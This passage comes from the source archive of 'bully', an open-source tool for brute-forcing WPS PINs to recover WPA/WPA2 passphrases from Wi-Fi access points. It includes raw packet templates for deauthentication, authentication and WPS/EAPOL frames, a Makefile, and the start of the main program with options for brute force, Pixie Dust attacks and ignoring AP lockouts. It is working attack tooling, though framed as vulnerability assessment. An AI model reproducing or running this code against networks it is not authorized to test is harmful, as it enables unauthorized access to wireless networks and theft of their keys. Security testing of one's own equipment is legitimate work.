if (G->eapfail) {
send_packet(G, eapolf, sizeof(eapolf)-1, 0);
do { result = next_packet(G, MAC_TYPE_DATA, MAC_ST_DATA,
G->hwmac, G->bssid, PKT_EAP, TRUE);
} while (result != EAPFAIL && result != TIMEOUT);
};
G->state--;
return quit;
};
goto read_mx;
};
bully-1.4-00/src/80211.h 0000775 0000000 0000000 00000022345 13615304636 0014355 0 ustar 00root root 0000000 0000000 /*
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
Copyright (C) 2020 kimocoder
Copyright (C) 2012 Brian Purcell
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
*/
#ifndef _80211_H
#define _80211_H
#pragma pack(push)
#pragma pack(1)
#define FALSE 0
#define TRUE 1
#define uint8 u_int8_t
#define uint16 u_int16_t
#define uint32 u_int32_t
#define uint64 u_int64_t
#define int8 int8_t
#define int16 int16_t
#define int32 int32_t
#define ui(x) ((int32)(x))
#define uc(x) ((uint8*)(x))
uint8 nulls[33] = {0};
#define NULL_MAC nulls
#define BCAST_MAC "\xFF\xFF\xFF\xFF\xFF\xFF"
#define BULL_MAC "\xFA\xCE\xFA\xCE\xFA\xCE"
uint8 ackpkt[] = "\x00\x00\x08\x00\x00\x00\x00\x00"
"\xD4\x00\x00\x00\xdd\xdd\xdd\xdd\xdd\xdd\xFF\xFF\xFF\xFF";
uint8 deauth[] = "\x00\x00\x08\x00\x00\x00\x00\x00"
"\xC0\x00\x3a\x01\xdd\xdd\xdd\xdd\xdd\xdd\x00\x1c\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb"
"\xCF\xCC\x08\x00\xFF\xFF\xFF\xFF";
uint8 prober[] = "\x00\x00\x08\x00\x00\x00\x00\x00"
"\x40\x00\x3a\x01\xFF\xFF\xFF\xFF\xFF\xFF\x00\x1c\xcc\xcc\xcc\xcc\xFF\xFF\xFF\xFF\xFF\xFF"
"\xCF\xCC\xFF\xFF\xFF\xFF";
uint8 authrq[] = "\x00\x00\x08\x00\x00\x00\x00\x00"
"\xB0\x00\x3a\x01\xdd\xdd\xdd\xdd\xdd\xdd\x00\x1c\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb"
"\xCF\xCC\x00\x00\x01\x00\x00\x00\xFF\xFF\xFF\xFF";
uint8 asshat[] = "\x00\x00\x08\x00\x00\x00\x00\x00"
"\x00\x00\x3a\x01\xdd\xdd\xdd\xdd\xdd\xdd\x00\x1c\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb"
"\xCF\xCC\x00\x00\x01\x00\xFF\xFF\xFF\xFF";
uint8 eapols[] = "\x00\x00\x08\x00\x00\x00\x00\x00"
"\x08\x01\x3a\x01\xdd\xdd\xdd\xdd\xdd\xdd\x00\x1c\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb"
"\xCF\xCC\xAA\xAA\x03\x00\x00\x00\x88\x8E"
"\x02\x01\x00\x00\xFF\xFF\xFF\xFF";
uint8 eapolf[] = "\x00\x00\x08\x00\x00\x00\x00\x00"
"\x08\x01\x3a\x01\xdd\xdd\xdd\xdd\xdd\xdd\x00\x1c\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb"
"\xCF\xCC\xAA\xAA\x03\x00\x00\x00\x88\x8E"
"\x02\x00\x00\x04\x04\x1D\x00\x04\xFF\xFF\xFF\xFF";
uint8 eap_id[] = "\x00\x00\x08\x00\x00\x00\x00\x00"
"\x08\x01\x3a\x01\xdd\xdd\xdd\xdd\xdd\xdd\x00\x1c\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb"
"\xCF\xCC\xAA\xAA\x03\x00\x00\x00\x88\x8E"
"\x02\x00\x00\x23\x02\x1D\x00\x23\x01"
"WFA-SimpleConfig-Registrar-1-0" "\xFF\xFF\xFF\xFF";
uint8 wfamsg[] = "\x00\x00\x08\x00\x00\x00\x00\x00"
"\x08\x01\x3a\x01\xdd\xdd\xdd\xdd\xdd\xdd\x00\x1c\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb"
"\xCF\xCC\xAA\xAA\x03\x00\x00\x00\x88\x8E"
"\x02\x00\xff\xff\x02\x1D\xff\xff\xfe"
"\x00\x37\x2a\x00\x00\x00\x01\x04\x00\xFF\xFF\xFF\xFF";
struct radiotap_header {
u_int8_t it_version;
u_int8_t it_pad;
u_int16_t it_len;
u_int32_t it_present;
};
typedef struct radiotap_header rth_t;
#define RTH_SIZE (sizeof(rth_t))
struct adr_frame {
uint8 addr[6];
};
typedef struct adr_frame adr_t;
#define ADR_SIZE (sizeof(adr_t))
struct qos_frame {
uint8 control;
uint8 flags;
};
typedef struct qos_frame qos_t;
#define QOS_SIZE (sizeof(qos_t))
struct mac_frame {
#if __BYTE_ORDER == __BIG_ENDIAN
unsigned subtype : 4;
unsigned type : 2;
unsigned version : 2;
unsigned ordered : 1;
unsigned protected : 1;
unsigned more_data : 1;
unsigned power : 1;
unsigned retry : 1;
unsigned more_frag : 1;
unsigned from_ds : 1;
unsigned to_ds : 1;
#else
unsigned version : 2;
unsigned type : 2;
unsigned subtype : 4;
unsigned to_ds : 1;
unsigned from_ds : 1;
unsigned more_frag : 1;
unsigned retry : 1;
unsigned power : 1;
unsigned more_data : 1;
unsigned protected : 1;
unsigned ordered : 1;
#endif
uint16 duration;
adr_t adr1;
adr_t adr2;
adr_t adr3;
uint16 sequence;
adr_t addr4;
qos_t qos;
};
typedef struct mac_frame mac_t;
#define MAC_SIZE_ACK (10)
#define MAC_SIZE_RTS (16)
#define MAC_SIZE_NORM (24)
#define MAC_SIZE_LONG (30)
#define MAC_TYPE_MGMT 0x0
#define MAC_TYPE_CTRL 0x1
#define MAC_TYPE_DATA 0x2
#define MAC_TYPE_RSVD 0x3
// management subtypes
#define MAC_ST_ASSOC_REQ 0x0
#define MAC_ST_ASSOC_RESP 0x1
#define MAC_ST_REASSOC_REQ 0x2
#define MAC_ST_REASSOC_RESP 0x3
#define MAC_ST_PROBE_REQ 0x4
#define MAC_ST_PROBE_RESP 0x5
#define MAC_ST_BEACON 0x8
#define MAC_ST_DISASSOC 0xA
#define MAC_ST_AUTH 0xB
#define MAC_ST_DEAUTH 0xC
// data subtypes
#define MAC_ST_DATA 0x0
#define MAC_ST_NULL 0x4
#define MAC_ST_QOSDATA 0x8
// control subtypes
#define MAC_ST_RTS 0xB
#define MAC_ST_ACK 0xD
struct fcs_frame {
uint32 fcs;
};
typedef struct fcs_frame fcs_t;
#define FCS_SIZE (sizeof(fcs_t))
struct bfp_frame {
uint8 timestamp[8];
uint16 interval;
uint16 capability;
};
typedef struct bfp_frame bfp_t;
#define BFP_SIZE (sizeof(bfp_t))
struct cap_info {
#if __BYTE_ORDER == __BIG_ENDIAN
unsigned agility : 1;
unsigned pbcc : 1;
unsigned preamble : 1;
unsigned privacy : 1;
unsigned poll_req : 1;
unsigned pollable : 1;
unsigned ibss : 1;
unsigned ess : 1;
unsigned immed_ba : 1;
unsigned delay_ba : 1;
unsigned dss_ofdm : 1;
unsigned resvd : 1;
unsigned apsd : 1;
unsigned short_slot : 1;
unsigned qos : 1;
unsigned spectrum : 1;
#else
unsigned ess : 1;
unsigned ibss : 1;
unsigned pollable : 1;
unsigned poll_req : 1;
unsigned privacy : 1;
unsigned preamble : 1;
unsigned pbcc : 1;
unsigned agility : 1;
unsigned spectrum : 1;
unsigned qos : 1;
unsigned short_slot : 1;
unsigned apsd : 1;
unsigned resvd : 1;
unsigned dss_ofdm : 1;
unsigned delay_ba : 1;
unsigned immed_ba : 1;
#endif
};
struct ie_tag {
uint8 id;
#define TAG_SSID 0
#define TAG_RATE 1
#define TAG_CHAN 3
#define TAG_XRAT 50
#define TAG_VEND 221
uint8 len;
uint8 data[];
};
typedef struct ie_tag tag_t;
#define TAG_SIZE (sizeof(tag_t))
#define MS_WPS_ID "\x00\x50\xf2\x04"
#define MS_WPS_TAG "\xdd\x09" MS_WPS_ID "\x10\x4a\x00\x01\x10"
struct ie_vtag {
uint16 id;
#define TAG_WPS_CONF_M "\x10\x08"
#define TAG_WPS_D_NAME "\x10\x11"
#define TAG_WPS_PASSWD "\x10\x12"
#define TAG_WPS_MANU "\x10\x21"
#define TAG_WPS_M_NAME "\x10\x23"
#define TAG_WPS_M_NUM "\x10\x24"
#define TAG_WPS_BANDS "\x10\x3c"
#define TAG_WPS_SERIAL "\x10\x42"
#define TAG_WPS_STATE "\x10\x44"
#define TAG_WPS_UUID_E "\x10\x47"
#define TAG_WPS_V_EXT "\x10\x49"
#define TAG_WPS_VERSION "\x10\x4A"
#define TAG_WPS_D_TYPE "\x10\x54"
#define TAG_WPS_APLOCK "\x10\x57"
uint16 len;
uint8 data[];
#define TAG_WPS_V2 0
#define TAG_WPS_LOCKED 1
#define TAG_WPS_CONFIG 2
};
typedef struct ie_vtag vtag_t;
#define VTAG_SIZE (sizeof(vtag_t))
/* Device password IDs */
#define WPS_ID_PIN "\x00\x00"
#define WPS_ID_USER "\x00\x01"
#define WPS_ID_MACHINE "\x00\x02"
#define WPS_ID_REKEY "\x00\x03"
#define WPS_ID_PBC "\x00\x04"
#define WPS_ID_REG "\x00\x05"
/* Configuration methods */
#define WPS_CONF_USB (1 << 0)
#define WPS_CONF_ETHERNET (1 << 1)
#define WPS_CONF_LABEL (1 << 2)
#define WPS_CONF_DISPLAY (1 << 3)
#define WPS_CONF_EXT_NFC (1 << 4)
#define WPS_CONF_INT_NFC (1 << 5)
#define WPS_CONF_NFC_IF (1 << 6)
#define WPS_CONF_PUSH_BTN (1 << 7)
#define WPS_CONF_KEYPAD (1 << 8)
#define WPS_CONF_V_PUSH_BTN (1 << 9)
#define WPS_CONF_PHY_PUSH_BTN (1 << 10)
#define WPS_CONF_V_DISPLAY (1 << 13)
#define WPS_CONF_PHY_DISPLAY (1 << 14)
struct auth_frame {
uint16 algorithm;
uint16 sequence;
uint16 status;
#define AUTH_SUCCESS 0
};
typedef struct auth_frame auth_t;
#define AUTH_SIZE (sizeof(auth_t))
struct assn_frame {
uint16 capability;
uint16 listen;
};
typedef struct assn_frame assn_t;
#define ASSN_SIZE (sizeof(assn_t))
struct resp_frame {
uint16 capability;
uint16 status;
#define RESP_SUCCESS 0
uint16 assn_id;
};
typedef struct resp_frame resp_t;
#define RESP_SIZE (sizeof(resp_t))
struct llc_frame {
uint8 dsap;
uint8 ssap;
uint8 control;
uint8 org[3];
uint16 type;
#define LLC_TYPE_AUTH 0x888e
};
typedef struct llc_frame llc_t;
#define LLC_SIZE (sizeof(llc_t))
struct d1x_frame {
uint8 version;
uint8 type;
#define D1X_TYPE_EAP 0
uint16 len;
uint8 data[];
};
typedef struct d1x_frame d1x_t;
#define D1X_SIZE (sizeof(d1x_t))
struct eap_frame {
uint8 code;
#define EAP_CODE_REQ 1
#define EAP_CODE_RESP 2
#define EAP_CODE_FAIL 4
uint8 id;
uint16 len;
uint8 type;
#define EAP_TYPE_ID 1
#define EAP_TYPE_EXPAND 254
uint8 data[];
};
typedef struct eap_frame eap_t;
#define EAP_SIZE (sizeof(eap_t))
struct wfa_frame {
uint8 vid[3];
#define WFA_VENDOR "\x00\x37\x2a"
uint32 type;
#define WFA_SIMPLECONF 1
uint8 op;
#define WSC_OP_NACK 3
#define WSC_OP_MSG 4
uint8 flags;
vtag_t tags[];
#define WPS_MSG_TYPE "\x10\x22"
#define MSG_M1 4
#define MSG_M2 5
#define MSG_M2D 6
#define MSG_M3 7
#define MSG_M4 8
#define MSG_M5 9
#define MSG_M6 10
#define MSG_M7 11
#define MSG_NACK 14
};
typedef struct wfa_frame wfa_t;
#define WFA_SIZE (sizeof(wfa_t))
#pragma pack(pop)
#endif /* _80211_h */
bully-1.4-00/src/Makefile 0000775 0000000 0000000 00000001352 13615304636 0015164 0 ustar 00root root 0000000 0000000 prefix = /usr/local
exec_prefix = $(prefix)
bindir = $(exec_prefix)/bin
W_NAME = bully
W_ROOT = `pwd`
CFLAGS += -I$(W_ROOT) -I$(W_ROOT)/utils/ -I$(W_ROOT)/tls/
CFLAGS += -I$(W_ROOT)/wps/ -I$(W_ROOT)/crypto/ -I$(W_ROOT)/common/
CFLAGS += -DUSE_INTERNAL_CRYPTO -O2
LDFLAGS += -lpcap
HDRS = $(W_NAME).h 80211.h frame.h iface.h bswap.h version.h
SRCS = $(W_NAME).c 80211.c frame.c iface.c crc32.c timer.c utils.c
all: $(W_NAME)
$(W_NAME): $(HDRS) $(SRCS)
$(CC) $(CFLAGS) -o $(@) $(W_NAME).c pdust.c $(LDFLAGS)
strip: $(W_NAME)
strip $(W_NAME)
clean:
-rm -f $(W_NAME) $(W_NAME).o
distclean: clean
install: all
install -d $(DESTDIR)$(bindir)
install -m 755 $(W_NAME) $(DESTDIR)$(bindir)
uninstall:
-rm -f $(DESTDIR)$(bindir)/$(W_NAME)
bully-1.4-00/src/bswap.h 0000775 0000000 0000000 00000003173 13615304636 0015014 0 ustar 00root root 0000000 0000000 /*
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
Copyright (C) 2012 Brian Purcell
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
*/
#ifndef _BSWAP_H
#define _BSWAP_H 1
#ifndef htobe16
# if __BYTE_ORDER == __LITTLE_ENDIAN
# define htobe16(x) __bswap_16 (x)
# define htole16(x) (x)
# define be16toh(x) __bswap_16 (x)
# define le16toh(x) (x)
# define htobe32(x) __bswap_32 (x)
# define htole32(x) (x)
# define be32toh(x) __bswap_32 (x)
# define le32toh(x) (x)
# define htobe64(x) __bswap_64 (x)
# define htole64(x) (x)
# define be64toh(x) __bswap_64 (x)
# define le64toh(x) (x)
# else
# define htobe16(x) (x)
# define htole16(x) __bswap_16 (x)
# define be16toh(x) (x)
# define le16toh(x) __bswap_16 (x)
# define htobe32(x) (x)
# define htole32(x) __bswap_32 (x)
# define be32toh(x) (x)
# define le32toh(x) __bswap_32 (x)
# define htobe64(x) (x)
# define htole64(x) __bswap_64 (x)
# define be64toh(x) (x)
# define le64toh(x) __bswap_64 (x)
# endif
#endif
#endif /* _BSWAP_H */
bully-1.4-00/src/bully.c 0000775 0000000 0000000 00000101731 13615304636 0015021 0 ustar 00root root 0000000 0000000 /*
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
Copyright (C) 2020 kimocoder
Copyright (C) 2017 wiire
Copyright (C) 2012 Brian Purcell
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#ifdef HAVE_LUA
#include
#include
#include
#include "pingen.h"
#include "luaclib.h"
#endif
#define CONFIG_NO_STDOUT_DEBUG 1
#define CONFIG_INTERNAL_LIBTOMMATH
#include "tls/bignum.c"
#define eloop_register_timeout(v,w,x,y,z) _ert = 0
#define eloop_cancel_timeout(x,y,z) _ect = 0
#define wps_enrollee_process_msg(x,y,z) _epm = 0
#define wps_enrollee_get_msg(y,z) _egm = 0
#include "utils/os_unix.c"
#include "utils/common.c"
#include "utils/base64.c"
#include "utils/uuid.c"
#include "utils/wpa_debug.c"
#include "utils/wpabuf.c"
#include "crypto/sha1-internal.c"
#include "crypto/sha256.c"
#include "crypto/sha256-internal.c"
#include "crypto/aes-cbc.c"
#include "crypto/aes-internal.c"
#include "crypto/aes-internal-enc.c"
#include "crypto/aes-internal-dec.c"
#include "crypto/crypto_internal-modexp.c"
#include "crypto/dh_groups.c"
#include "crypto/dh_group5.c"
#include "wps/wps.c"
#include "wps/wps_registrar.c"
#include "wps/wps_common.c"
#include "wps/wps_dev_attr.c"
#include "wps/wps_attr_parse.c"
#include "wps/wps_attr_process.c"
#include "wps/wps_attr_build.c"
#include "bswap.h"
#include "80211.h"
#include "frame.h"
#include "iface.h"
#include "bully.h"
#include "pdust.h"
#include "pixie.h"
sig_atomic_t ctrlc = 0;
sig_atomic_t signm = 0;
void sigint_h(int signal) { signm = signal; ctrlc = 1; };
#include "utils.c"
#include "timer.c"
#include "crc32.c"
#include "80211.c"
#include "frame.c"
#include "iface.c"
#include "version.h"
int main(int argc, char *argv[])
{
int k, result, nocheck = 0, fcs_count = 0, to_count = 0;
char essids[33] = {0}, *essid = essids;
char bssids[18] = {0};
char hwmacs[18] = {0};
char *error;
mac_t *mac;
tag_t *tag, *tags[20] = {0};
vtag_t *vtag, *vt;
int tlen, vlen, tn = 1;
uint8 essidt[35] = {0};
struct timeval timer;
struct sigaction sigact = {0};
struct stat wstat;
wps_info_t wps_info = { 0 };
FILE *rf, *of;
srandom(time(NULL));
struct global *G;
if (G = calloc(1, sizeof(struct global))) {
G->phdr = calloc(1, sizeof(struct pcap_pkthdr));
if (!G->phdr)
goto mem_err;
G->error = calloc(1,256);
if (!G->error)
goto mem_err;
G->perr = calloc(1,PCAP_ERRBUF_SIZE);
if (!G->perr)
goto mem_err;
G->index = calloc(1,MAX_CHAN+1);
if (!G->index)
goto mem_err;
__vp = malloc(__vs);
if (!__vp)
goto mem_err;
__vf = stdout;
G->inp = f_init();
if (!G->inp)
goto mem_err;
G->verbose = __vb;
G->smacs = fmt_mac(hwmacs,G->hwmac);
G->lwait = LOCK_WAIT_SECS;
G->hop = BG_CHANS;
G->has_fcs = 1;
G->use_ack = 1;
G->eapmode = 1;
G->retries = MAX_RETRIES;
G->random = 1;
G->acktime = ACKTIME;
G->stdtime = STDTIME;
G->m13time = M13TIME;
G->k1step = 1;
G->k2delay = 5;
G->k2step = 1;
G->pinstart = G->pindex = -1;
op_gen_pin = 0;
//Pixie
char *temp = getpwuid(getuid())->pw_dir;
G->warpath = malloc(strlen(temp) + strlen(EXE_NAME) + 3);
strcpy(G->warpath, temp);
strcat(G->warpath, "/.");
strcat(G->warpath, EXE_NAME);
mkdir(G->warpath, S_IRWXU | S_IRWXG | S_IROTH | S_IXOTH);
} else {
mem_err:
fprintf(stderr, "Memory allocation error\n");
return 2;
};
while( 1 )
{
int option_index = 0;
static struct option long_options[] = {
{"acktime", 1, 0, 'a'},
{"bssid", 1, 0, 'b'},
{"channel", 1, 0, 'c'},
{"pixiewps", 0, 0, 'd'},
{"essid", 1, 0, 'e'},
{"genpin", 0, 0, 'g'},
{"index", 1, 0, 'i'},
{"lockwait", 1, 0, 'l'},
{"m13time", 1, 0, 'm'},
{"outfile", 1, 0, 'o'},
{"pin", 1, 0, 'p'},
{"retries", 1, 0, 'r'},
{"source", 1, 0, 's'},
#ifdef HAVE_LUA
{"lua", 1, 0, 'u'},
#endif
{"timeout", 1, 0, 't'},
{"verbosity", 1, 0, 'v'},
{"workdir", 1, 0, 'w'},
{"pin1delay", 1, 0, '1'},
{"pin2delay", 1, 0, '2'},
{"5ghz", 0, 0, '5'},
{"noacks", 0, 0, 'A'},
{"nocheck", 0, 0, 'C'},
{"bruteforce", 0, 0, 'B'},
{"detectlock", 0, 0, 'D'},
{"eapfail", 0, 0, 'E'},
{"force", 0, 0, 'F'},
{"lockignore", 0, 0, 'L'},
{"m57nack", 0, 0, 'M'},
{"nofcs", 0, 0, 'N'},
{"probe", 0, 0, 'P'},
{"wpsinfo", 0, 0, 'Q'},
{"radiotap", 0, 0, 'R'},
{"sequential", 0, 0, 'S'},
{"test", 0, 0, 'T'},
{"version", 0, 0, 'V'},
{"windows7", 0, 0, 'W'},
{"suppress", 0, 0, 'Z'},
{"help", 0, 0, 'h'},
{0, 0, 0, 0 }
};
int option = getopt_long(argc, argv, "a:b:c:de:g:i:l:m:o:p:r:s:t:"
#ifdef HAVE_LUA
"u:"
#endif
"v:w:1:2:5ABCDEFLMNPQRSTVWZh",
long_options, &option_index);
if( option < 0 ) break;
switch( option ) {
case 0 :
break;
case 'a' :
if (get_int(optarg, &G->acktime) != 0) {
snprintf(G->error, 256, "Bad packet timeout number -- %s\n", optarg);
goto usage_err;
};
printf("Deprecated option --acktime (-a) ignored\n");
break;
case 'b' :
if (get_mac(optarg, G->bssid) != 0) {
snprintf(G->error, 256, "Bad target MAC address -- %s\n", optarg);
goto usage_err;
};
G->ssids = fmt_mac(bssids,G->bssid);
break;
case 'c' :
G->hop = optarg;
break;
case 'e' :
G->essid = optarg;
break;
case 'g' :
get_int(optarg, &op_gen_pin);
break;
case 'i' :
if (get_int(optarg, &G->pindex) != 0 || 99999999 < G->pindex) {
snprintf(G->error, 256, "Bad starting index number -- %s\n", optarg);
goto usage_err;
};
break;
case 'l' :
if (get_int(optarg, &G->lwait) != 0) {
snprintf(G->error, 256, "Bad lock wait number -- %s\n", optarg);
goto usage_err;
};
break;
case 'm' :
if (get_int(optarg, &G->m13time) != 0) {
snprintf(G->error, 256, "Bad M1/M3 timeout number -- %s\n", optarg);
goto usage_err;
};
printf("Deprecated option --m13time (-m) ignored\n");
break;
case 'o' :
if ((of = fopen(optarg, "w")) != NULL)
__vf = of;
else {
snprintf(G->error, 256, "Can't open output file -- %s\n", optarg);
goto usage_err;
};
break;
case 'p' :
if (get_int(optarg, &G->pinstart) != 0 || 99999999 < G->pinstart) {
snprintf(G->error, 256, "Bad starting pin number -- %s\n", optarg);
goto usage_err;
};
break;
case 'r' :
if (get_int(optarg, &G->retries) != 0) {
snprintf(G->error, 256, "Bad max retries number -- %s\n", optarg);
goto usage_err;
};
break;
case 's' :
if (get_mac(optarg, G->hwmac) != 0 || memcmp(G->hwmac, NULL_MAC, 6) == 0) {
snprintf(G->error, 256, "Bad source MAC address -- %s\n", optarg);
goto usage_err;
};
break;
case 't' :
if (get_int(optarg, &G->stdtime) != 0) {
snprintf(G->error, 256, "Bad timeout number -- %s\n", optarg);
goto usage_err;
};
printf("Deprecated option --timeout (-t) ignored\n");
break;
#ifdef HAVE_LUA
case 'u': {
const unsigned int luap = strlen(optarg);
if (stat(optarg, &wstat) || !S_ISREG(wstat.st_mode)
|| luap < 5 || strcmp(&optarg[luap - 4], ".lua")) {
snprintf(G->error, 256, "Bad lua scripting file -- %s\n", optarg);
goto usage_err;
};
result = wstat.st_mode | (wstat.st_mode >> 4);
if ((result & S_IRWXG) != S_IRWXG) {
snprintf(G->error, 256, "Permission denied -- %s\n", optarg);
goto usage_err;
};
G->luaf = optarg;
}
break;
#endif
case 'v' :
if (get_int(optarg, &G->verbose) != 0 || G->verbose < 1 || 4 < G->verbose) {
snprintf(G->error, 256, "Bad verbosity level -- %s\n", optarg);
goto usage_err;
};
__vb = G->verbose;
get_int(optarg, &debug_level);
break;
case 'w' :
if (stat(optarg, &wstat) || !S_ISDIR(wstat.st_mode)) {
snprintf(G->error, 256, "Bad working directory -- %s\n", optarg);
goto usage_err;
};
result = wstat.st_mode | (wstat.st_mode>>4);
if ((result & S_IRWXG) != S_IRWXG) {
snprintf(G->error, 256, "Permission denied -- %s\n", optarg);
goto usage_err;
};
free(G->warpath);
G->warpath = optarg;
break;
case '1' :
if (get_int(optarg, &G->k1delay) != 0)
if (sscanf(optarg, "%d,%d%s", &G->k1delay, &G->k1step, G->error) != 2) {
snprintf(G->error, 256, "Bad recurring delay -- %s\n", optarg);
goto usage_err;
};
break;
case '2' :
if (get_int(optarg, &G->k2delay) != 0)
if (sscanf(optarg, "%d,%d%s", &G->k2delay, &G->k2step, G->error) != 2) {
snprintf(G->error, 256, "Bad recurring delay -- %s\n", optarg);
goto usage_err;
};
break;
//Pixie
case 'd' :
run_pixiewps = 1;
G->force = 1;
break;
case '5' :
G->hop = AN_CHANS;
break;
case 'A' :
G->use_ack = 0;
break;
case 'B' :
G->broken = 1;
break;
case 'C' :
nocheck = 1;
break;
case 'D' :
G->detect = 1;
break;
case 'E' :
G->eapfail = 1;
break;
case 'F' :
G->force = 1;
break;
case 'L' :
G->ignore = 1;
break;
case 'M' :
G->m57nack = 1;
times[PKT_M5].avg = times[PKT_M5].max = times[PKT_M5].def * 2;
times[PKT_M7].avg = times[PKT_M7].max = times[PKT_M7].def * 2;
break;
case 'N' :
G->has_fcs = 0;
break;
case 'P' :
G->probe = 1;
break;
case 'Q' :
G->wpsinfo = 1;
break;
case 'R' :
G->has_rth = 1;
break;
case 'S' :
G->random = 0;
break;
case 'T' :
G->test = 1;
break;
case 'V' :
printf("%s\n",VERSION);
exit(0);
case 'W' :
G->win7 = 1;
break;
case 'Z' :
G->suppress = 1;
break;
case 'h' :
goto usage_err;
case '?' :
default :
fprintf(stderr, "\"%s --help\" for help.\n", argv[0]);
return 1;
};
};
if (argc - optind != 1) {
if (argc - optind == 0)
G->error = "No monitor mode interface specified\n";
else
G->error = "Too many arguments\n";
usage_err:
fprintf(stderr, usage, argv[0], G->error);
return 1;
};
if (-1 < G->pindex) {
if (9999999 < G->pindex && !G->broken) {
snprintf(G->error, 256,
"Index number must be less than 8 digits unless -bruteforce is specified -- %08d\n",
G->pindex);
goto usage_err;
};
if (-1 < G->pinstart) {
G->error = "Options --index and --pin are mutually exclusive\n";
goto usage_err;
};
if (G->random == 0) {
G->error = "Option --index is meaningless when specifying --sequential\n";
goto usage_err;
};
};
if (9999999 < G->pinstart && !G->broken) {
snprintf(G->error, 256,
"Pin number must be less than 8 digits unless -bruteforce is specified -- %08d\n",
G->pinstart);
goto usage_err;
};
G->ifname = argv[optind];
memset(p_iface,0,sizeof(p_iface));
strcat(p_iface, G->ifname);
if (G->essid == 0 && G->ssids == 0) {
G->error = "Please specify either --bssid or --essid for the access point\n";
goto usage_err;
};
if (G->essid == 0 && G->probe != 0) {
G->error = "You must specify --essid for the AP when using --probe\n";
goto usage_err;
};
#ifdef HAVE_LUA
if (G->luaf) {
if ((G->luavm = basic_env()) == 0) {
fprintf(stderr, "Unable to create Lua environment\n");
return 9;
}
luaL_requiref(G->luavm, "wps", luaopen_wpslib, 1);
luaL_requiref(G->luavm, "algorithm", luaopen_algolib, 1);
if (luaL_dofile(G->luavm, G->luaf) != LUA_OK) {
snprintf(G->error, 256, "Error loading lua script -- %s\n", lua_tostring(G->luavm, -1));
lua_close(G->luavm);
goto usage_err;
};
G->wpsinfo = 1; /* Force data gathering for algorithms */
};
#endif
if (memcmp(G->hwmac, NULL_MAC, 6) == 0)
if (get_hwmac(G->ifname, G->hwmac)) {
fprintf(stderr, "Unable to get hardware MAC address for '%s'\n", G->ifname);
fprintf(stderr, "Please specify --source for the interface\n");
return 8;
};
fmt_mac(hwmacs, G->hwmac);
vprint("[!] Bully %s - WPS vulnerability assessment utility\n", VERSION);
printf("[P] Modified for pixiewps by AAnarchYY(aanarchyy@gmail.com)\n");
if ((error = init_chans(G)) != NULL) {
snprintf(G->error, 256, "Bad channel number or list -- %s\n", error);
goto usage_err;
};
G->chanx = set_chanx(G, G->chanx);
G->start = (G->chanx ? G->chanx : G->chans[0]);
if (-1 < G->pinstart && G->random) {
vprint("[!] Starting pin specified, defaulting to sequential mode\n");
G->random = 0;
};
if (-1 < G->pindex)
G->pinstart = G->pindex;
G->pfd = pcap_open_live(G->ifname, 65536, 1, 5, G->perr);
pcap_close(G->pfd);
G->pfd = pcap_open_live(G->ifname, 65536, 1, 5, G->perr);
if (!G->pfd) {
fprintf(stderr, "%s\n", G->perr);
return 3;
};
vprint("[!] Using '%s' for the source MAC address\n", G->smacs);
G->dlt = pcap_datalink(G->pfd);
if (G->dlt == DLT_IEEE802_11_RADIO)
G->has_rth = 1;
vprint("[+] Datalink type set to '%d', radiotap headers %s\n",
G->dlt, (G->has_rth ? "present" : "not present"));
if (G->probe) { // Build directed probe request for nonbeaconing AP's
mac = (mac_t*)(&prober[RTH_SIZE]);
memcpy(mac->adr2.addr, G->hwmac, 6);
tags[0] = (tag_t*)(essidt);
tags[0]->len = strlen(G->essid);
memcpy(tags[0]->data, G->essid, tags[0]->len);
int tmpl; uint8 *tmp = build_ietags(tags, &tmpl);
G->dprobe = build_packet(prober,sizeof(prober)-1,tmp,tmpl);
G->reql = sizeof(prober)-1 + tmpl;
free(tmp);
};
vprint("[+] Scanning for beacon from '%s' on channel '%s'\n",
(G->ssids ? G->ssids : G->essid), G->schan);
while (1) {
ap_beacon:
if (G->probe) {
if (!G->test)
result = send_packet(G, G->dprobe, G->reql, 1);
result = next_packet(G, MAC_TYPE_MGMT, MAC_ST_PROBE_RESP,
G->hwmac, G->bssid, PKT_PR, TRUE);
} else
result = next_packet(G, MAC_TYPE_MGMT, MAC_ST_BEACON,
BCAST_MAC, G->bssid, PKT_BEA, TRUE);
if (result == SUCCESS) {
tag = (tag_t*)(G->inp[F_PAY].data + BFP_SIZE);
tlen = G->inp[F_PAY].size - BFP_SIZE;
if (G->essid)
if (strlen(G->essid) != tag->len)
goto ap_beacon;
else
if (memcmp(G->essid, tag->data, tag->len) == 0)
break;
else
if (memcmp(tag->data, nulls, tag->len) == 0) {
memcpy(tag->data, G->essid, tag->len);
break;
} else
